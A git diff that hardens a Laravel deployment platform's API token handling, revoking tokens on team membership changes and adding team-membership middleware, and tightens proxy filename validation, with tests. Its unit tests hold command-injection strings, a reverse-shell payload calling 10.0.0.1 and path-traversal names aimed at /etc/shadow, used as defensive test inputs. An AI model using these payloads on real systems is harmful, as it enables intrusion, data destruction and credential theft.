diff --git a/app/Actions/User/DeleteUserTeams.php b/app/Actions/User/DeleteUserTeams.php
index d572db9e7..b2b06e7ba 100644
--- a/app/Actions/User/DeleteUserTeams.php
+++ b/app/Actions/User/DeleteUserTeams.php
@@ -137,9 +137,11 @@ class DeleteUserTeams
 
                 // Update the new owner's role to owner
                 $team->members()->updateExistingPivot($newOwner->id, ['role' => 'owner']);
+                RevokeUserTeamTokens::forUserTeam($newOwner, $team->id);
 
                 // Remove the current user from the team
                 $team->members()->detach($this->user->id);
+                RevokeUserTeamTokens::forUserTeam($this->user, $team->id);
 
                 $counts['transferred']++;
             } catch (\Exception $e) {
@@ -152,6 +154,7 @@ class DeleteUserTeams
         foreach ($preview['to_leave'] as $team) {
             try {
                 $team->members()->detach($this->user->id);
+                RevokeUserTeamTokens::forUserTeam($this->user, $team->id);
                 $counts['left']++;
             } catch (\Exception $e) {
                 \Log::error("Failed to remove user from team {$team->id}: ".$e->getMessage());
diff --git a/app/Actions/User/RevokeUserTeamTokens.php b/app/Actions/User/RevokeUserTeamTokens.php
new file mode 100644
index 000000000..9aadf1eeb
--- /dev/null
+++ b/app/Actions/User/RevokeUserTeamTokens.php
@@ -0,0 +1,43 @@
+<?php
+
+namespace App\Actions\User;
+
+use App\Models\PersonalAccessToken;
+use App\Models\User;
+use Illuminate\Database\Eloquent\Builder;
+
+class RevokeUserTeamTokens
+{
+    public static function forUserTeam(User|int $user, int|string $teamId): int
+    {
+        return self::baseQuery()
+            ->where('tokenable_id', self::userId($user))
+            ->where('team_id', $teamId)
+            ->delete();
+    }
+
+    public static function forUser(User|int $user): int
+    {
+        return self::baseQuery()
+            ->where('tokenable_id', self::userId($user))
+            ->delete();
+    }
+
+    public static function forTeam(int|string $teamId): int
+    {
+        return self::baseQuery()
+            ->where('team_id', $teamId)
+            ->delete();
+    }
+
+    private static function baseQuery(): Builder
+    {
+        return PersonalAccessToken::query()
+            ->where('tokenable_type', User::class);
+    }
+
+    private static function userId(User|int $user): int
+    {
+        return $user instanceof User ? $user->id : $user;
+    }
+}
diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php
index a584bc111..02a49aaa8 100644
--- a/app/Http/Kernel.php
+++ b/app/Http/Kernel.php
@@ -12,6 +12,7 @@ use App\Http\Middleware\CheckForcePasswordReset;
 use App\Http\Middleware\DecideWhatToDoWithUser;
 use App\Http\Middleware\EncryptCookies;
 use App\Http\Middleware\EnsureMcpEnabled;
+use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember;
 use App\Http\Middleware\PreventRequestsDuringMaintenance;
 use App\Http\Middleware\RedirectIfAuthenticated;
 use App\Http\Middleware\TrimStrings;
@@ -104,6 +105,7 @@ class Kernel extends HttpKernel
         'ability' => CheckForAnyAbility::class,
         'api.ability' => ApiAbility::class,
         'api.sensitive' => ApiSensitiveData::class,
+        'api.token.team' => EnsureTokenBelongsToCurrentTeamMember::class,
         'can.create.resources' => CanCreateResources::class,
         'can.update.resource' => CanUpdateResource::class,
         'can.access.terminal' => CanAccessTerminal::class,
diff --git a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php
new file mode 100644
index 000000000..7c858b38b
--- /dev/null
+++ b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php
@@ -0,0 +1,37 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+use Illuminate\Http\Request;
+use Symfony\Component\HttpFoundation\Response;
+
+class EnsureTokenBelongsToCurrentTeamMember
+{
+    public function handle(Request $request, Closure $next): Response
+    {
+        $user = $request->user();
+        $token = $user?->currentAccessToken();
+        $teamId = $token?->team_id;
+
+        if (! $user || ! $token || is_null($teamId)) {
+            return response()->json(['message' => 'Invalid token.'], 401);
+        }
+
+        $team = $user->teams()
+            ->where('teams.id', $teamId)
+            ->first();
+
+        if (! $team) {
+            return response()->json(['message' => 'Invalid token.'], 401);
+        }
+
+        $role = $team->pivot?->role;
+        if (($token->can('root') || $token->can('write') || $token->can('write:sensitive'))
+            && ! in_array($role, ['admin', 'owner'], true)) {
+            return response()->json(['message' => 'Missing required team role.'], 403);
+        }
+
+        return $next($request);
+    }
+}
diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
index c67591cf5..20d14ddc7 100644
--- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
+++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
@@ -28,12 +28,11 @@ class DynamicConfigurationNavbar extends Component
 
         // Decode filename: pipes are used to encode dots for Livewire property binding
         // (e.g., 'my|service.yaml' -> 'my.service.yaml')
-        // This must happen BEFORE validation because validateShellSafePath() correctly
-        // rejects pipe characters as dangerous shell metacharacters
+        // This must happen BEFORE validation because validateFilenameSafe()
+        // rejects pipe characters through validateShellSafePath().
         $file = str_replace('|', '.', $fileName);
 
-        // Validate filename to prevent command injection
-        validateShellSafePath($file, 'proxy configuration filename');
+        validateFilenameSafe($file, 'proxy configuration filename');
 
         if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
             $this->dispatch('error', 'Cannot delete Caddyfile.');
diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php
index 31a1dfc7e..481d89c78 100644
--- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php
+++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php
@@ -43,8 +43,7 @@ class NewDynamicConfiguration extends Component
                 'value' => 'required',
             ]);
 
-            // Additional security validation to prevent command injection
-            validateShellSafePath($this->fileName, 'proxy configuration filename');
+            validateFilenameSafe($this->fileName, 'proxy configuration filename');
 
             if (data_get($this->parameters, 'server_uuid')) {
                 $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();
diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php
index b1f692365..97d492d70 100644
--- a/app/Livewire/Team/Member.php
+++ b/app/Livewire/Team/Member.php
@@ -2,6 +2,7 @@
 
 namespace App\Livewire\Team;
 
+use App\Actions\User\RevokeUserTeamTokens;
 use App\Enums\Role;
 use App\Models\User;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
@@ -23,7 +24,9 @@ class Member extends Component
                 || Role::from($this->getMemberRole())->gt(auth()->user()->role())) {
                 throw new \Exception('You are not authorized to perform this action.');
             }
-            $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::ADMIN->value]);
+            $teamId = currentTeam()->id;
+            $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::ADMIN->value]);
+            RevokeUserTeamTokens::forUserTeam($this->member, $teamId);
             $this->dispatch('reloadWindow');
         } catch (\Exception $e) {
             $this->dispatch('error', $e->getMessage());
@@ -39,7 +42,9 @@ class Member extends Component
                 || Role::from($this->getMemberRole())->gt(auth()->user()->role())) {
                 throw new \Exception('You are not authorized to perform this action.');
             }
-            $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::OWNER->value]);
+            $teamId = currentTeam()->id;
+            $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::OWNER->value]);
+            RevokeUserTeamTokens::forUserTeam($this->member, $teamId);
             $this->dispatch('reloadWindow');
         } catch (\Exception $e) {
             $this->dispatch('error', $e->getMessage());
@@ -55,7 +60,9 @@ class Member extends Component
                 || Role::from($this->getMemberRole())->gt(auth()->user()->role())) {
                 throw new \Exception('You are not authorized to perform this action.');
             }
-            $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::MEMBER->value]);
+            $teamId = currentTeam()->id;
+            $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value]);
+            RevokeUserTeamTokens::forUserTeam($this->member, $teamId);
             $this->dispatch('reloadWindow');
         } catch (\Exception $e) {
             $this->dispatch('error', $e->getMessage());
@@ -73,6 +80,7 @@ class Member extends Component
             }
             $teamId = currentTeam()->id;
             $this->member->teams()->detach(currentTeam());
+            RevokeUserTeamTokens::forUserTeam($this->member, $teamId);
             // Clear cache for the removed user - both old and new key formats
             Cache::forget("team:{$this->member->id}");
             Cache::forget("user:{$this->member->id}:team:{$teamId}");
diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php
index f75219fcf..f6d82453a 100644
--- a/app/Mcp/Concerns/ResolvesTeam.php
+++ b/app/Mcp/Concerns/ResolvesTeam.php
@@ -28,8 +28,14 @@ trait ResolvesTeam
 
     protected function resolveTeamId(Request $request): ?int
     {
-        $token = $request->user()?->currentAccessToken();
+        $user = $request->user();
+        $token = $user?->currentAccessToken();
+        $teamId = $token?->team_id;
 
-        return $token?->team_id;
+        if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) {
+            return null;
+        }
+
+        return (int) $teamId;
     }
 }
diff --git a/app/Models/Team.php b/app/Models/Team.php
index 0fbcfe0c6..f0a50cf69 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -2,6 +2,7 @@
 
 namespace App\Models;
 
+use App\Actions\User\RevokeUserTeamTokens;
 use App\Events\ServerReachabilityChanged;
 use App\Notifications\Channels\SendsDiscord;
 use App\Notifications\Channels\SendsEmail;
@@ -72,6 +73,8 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen
         });
 
         static::deleting(function (Team $team) {
+            RevokeUserTeamTokens::forTeam($team->id);
+
             foreach ($team->privateKeys as $key) {
                 $key->delete();
             }
diff --git a/app/Models/User.php b/app/Models/User.php
index cefdf3d3e..9cbe88835 100644
--- a/app/Models/User.php
+++ b/app/Models/User.php
@@ -2,6 +2,7 @@
 
 namespace App\Models;
 
+use App\Actions\User\RevokeUserTeamTokens;
 use App\Jobs\UpdateStripeCustomerEmailJob;
 use App\Notifications\Channels\SendsEmail;
 use App\Notifications\TransactionalEmails\EmailChangeVerification;
@@ -121,6 +122,8 @@ class User extends Authenticatable implements SendsEmail
 
         static::deleting(function (User $user) {
             \DB::transaction(function () use ($user) {
+                RevokeUserTeamTokens::forUser($user);
+
                 $teams = $user->teams;
                 foreach ($teams as $team) {
                     $user_alone_in_team = $team->members->count() === 1;
@@ -158,6 +161,7 @@ class User extends Authenticatable implements SendsEmail
                             if ($found_other_member_who_is_not_owner) {
                                 $found_other_member_who_is_not_owner->pivot->role = 'owner';
                                 $found_other_member_who_is_not_owner->pivot->save();
+                                RevokeUserTeamTokens::forUserTeam($found_other_member_who_is_not_owner, $team->id);
                                 $team->members()->detach($user->id);
                             } else {
                                 static::finalizeTeamDeletion($user, $team);
diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php
index e9ec0d946..44ff5f727 100644
--- a/app/Traits/DeletesUserSessions.php
+++ b/app/Traits/DeletesUserSessions.php
@@ -2,6 +2,7 @@
 
 namespace App\Traits;
 
+use App\Actions\User\RevokeUserTeamTokens;
 use Illuminate\Support\Facades\DB;
 use Illuminate\Support\Facades\Session;
 
@@ -17,6 +18,7 @@ trait DeletesUserSessions
         Session::invalidate();
         Session::regenerateToken();
         DB::table('sessions')->where('user_id', $this->id)->delete();
+        RevokeUserTeamTokens::forUser($this->id);
     }
 
     /**
diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php
index 47cca8519..c4881645a 100644
--- a/bootstrap/helpers/api.php
+++ b/bootstrap/helpers/api.php
@@ -11,9 +11,15 @@ use Illuminate\Validation\Rule;
 
 function getTeamIdFromToken()
 {
-    $token = auth()->user()->currentAccessToken();
+    $user = auth()->user();
+    $token = $user?->currentAccessToken();
+    $teamId = data_get($token, 'team_id');
 
-    return data_get($token, 'team_id');
+    if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) {
+        return null;
+    }
+
+    return $teamId;
 }
 function invalidTokenResponse()
 {
diff --git a/routes/ai.php b/routes/ai.php
index 7d3a858c5..3a39677ff 100644
--- a/routes/ai.php
+++ b/routes/ai.php
@@ -4,4 +4,4 @@ use App\Mcp\Servers\CoolifyServer;
 use Laravel\Mcp\Facades\Mcp;
 
 Mcp::web('/mcp', CoolifyServer::class)
-    ->middleware(['mcp.enabled', 'auth:sanctum']);
+    ->middleware(['mcp.enabled', 'auth:sanctum', 'api.token.team']);
diff --git a/routes/api.php b/routes/api.php
index fb3b4bad6..ec6bde2e6 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -29,7 +29,7 @@ Route::post('/feedback', [OtherController::class, 'feedback'])
     ->middleware('throttle:feedback');
 
 Route::group([
-    'middleware' => ['auth:sanctum', 'api.ability:write'],
+    'middleware' => ['auth:sanctum', 'api.token.team', 'api.ability:write'],
     'prefix' => 'v1',
 ], function () {
     Route::get('/enable', [OtherController::class, 'enable_api']);
@@ -38,7 +38,7 @@ Route::group([
     Route::post('/mcp/disable', [OtherController::class, 'disable_mcp']);
 });
 Route::group([
-    'middleware' => ['auth:sanctum', ApiAllowed::class, 'api.sensitive'],
+    'middleware' => ['auth:sanctum', 'api.token.team', ApiAllowed::class, 'api.sensitive'],
     'prefix' => 'v1',
 ], function () {
 
diff --git a/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php
new file mode 100644
index 000000000..c254a26c3
--- /dev/null
+++ b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php
@@ -0,0 +1,128 @@
+<?php
+
+use App\Livewire\Security\ApiTokens;
+use App\Livewire\Team\Member;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Hash;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
+        ['id' => 0],
+        ['is_api_enabled' => true],
+    ));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'admin']);
+    session(['currentTeam' => $this->team]);
+});
+
+function bearerJson(string $token): array
+{
+    return [
+        'Authorization' => 'Bearer '.$token,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+test('removed member token cannot read team projects', function () {
+    Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
+    $token = $this->user->createToken('read-token', ['read'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $this->withHeaders(bearerJson($token))
+        ->getJson('/api/v1/projects')
+        ->assertUnauthorized();
+});
+
+test('removed member token cannot create team projects', function () {
+    $token = $this->user->createToken('write-token', ['write'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $this->withHeaders(bearerJson($token))
+        ->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
+        ->assertUnauthorized();
+
+    expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
+});
+
+test('downgraded member old write token cannot create team projects', function () {
+    $token = $this->user->createToken('write-token', ['write'])->plainTextToken;
+
+    $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
+
+    $this->withHeaders(bearerJson($token))
+        ->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
+        ->assertForbidden();
+
+    expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
+});
+
+test('admin removal through team member component revokes team tokens', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Member::class, ['member' => $this->user])
+        ->call('remove');
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('role downgrade through team member component revokes team tokens', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+    $token = $this->user->createToken('write-token', ['write'])->accessToken;
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Member::class, ['member' => $this->user])
+        ->call('makeReadonly');
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('member cannot create write token through livewire token form', function () {
+    $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('description', 'member-write-token')
+        ->set('expiresInDays', 30)
+        ->set('permissions', ['write'])
+        ->call('addNewToken');
+
+    expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
+});
+
+test('password change revokes user personal access tokens', function () {
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->user->forceFill(['password' => Hash::make('new-password')])->save();
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('team deletion revokes team bound personal access tokens', function () {
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->team->delete();
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
diff --git a/tests/Feature/Mcp/McpEndpointTest.php b/tests/Feature/Mcp/McpEndpointTest.php
index 34ae493cc..ae0101547 100644
--- a/tests/Feature/Mcp/McpEndpointTest.php
+++ b/tests/Feature/Mcp/McpEndpointTest.php
@@ -192,3 +192,14 @@ test('tool calls fail when the token lacks the read ability', function () {
     expect($response->json('result.isError'))->toBeTrue();
     expect($response->json('result.content.0.text'))->toContain('Missing required permissions');
 });
+
+test('MCP rejects token when user no longer belongs to token team', function () {
+    Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]);
+    $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $response = mcpCallTool($token, 'list_projects');
+
+    $response->assertUnauthorized();
+});
diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php
index 72c5e4c3a..4bcb70361 100644
--- a/tests/Unit/ProxyConfigurationSecurityTest.php
+++ b/tests/Unit/ProxyConfigurationSecurityTest.php
@@ -12,43 +12,69 @@
  *  - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
  */
 test('proxy configuration rejects command injection in filename with command substitution', function () {
-    expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with semicolon', function () {
-    expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with pipe', function () {
-    expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with backticks', function () {
-    expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with ampersand', function () {
-    expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with redirect operators', function () {
-    expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects reverse shell payload', function () {
-    expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
+test('proxy configuration rejects path traversal filenames', function (string $filename) {
+    expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
+        ->toThrow(Exception::class);
+})->with([
+    '../VICTIM_FILE',
+    '../../etc/shadow',
+    '/etc/passwd',
+    'subdir/config.yaml',
+    'subdir\\config.yaml',
+    'config..yaml',
+    "config.yaml\0../../etc/passwd",
+]);
+
+test('dynamic proxy components use filename-safe validation', function () {
+    $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
+    $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
+
+    expect($deleteComponent)
+        ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
+        ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
+
+    expect($createComponent)
+        ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
+        ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
+});
+
 test('proxy configuration escapes filenames properly', function () {
     $filename = "config'test.yaml";
     $escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
 });
 
 test('proxy configuration accepts legitimate Traefik filenames', function () {
-    expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 });
 
 test('proxy configuration accepts legitimate Caddy filenames', function () {
-    expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 });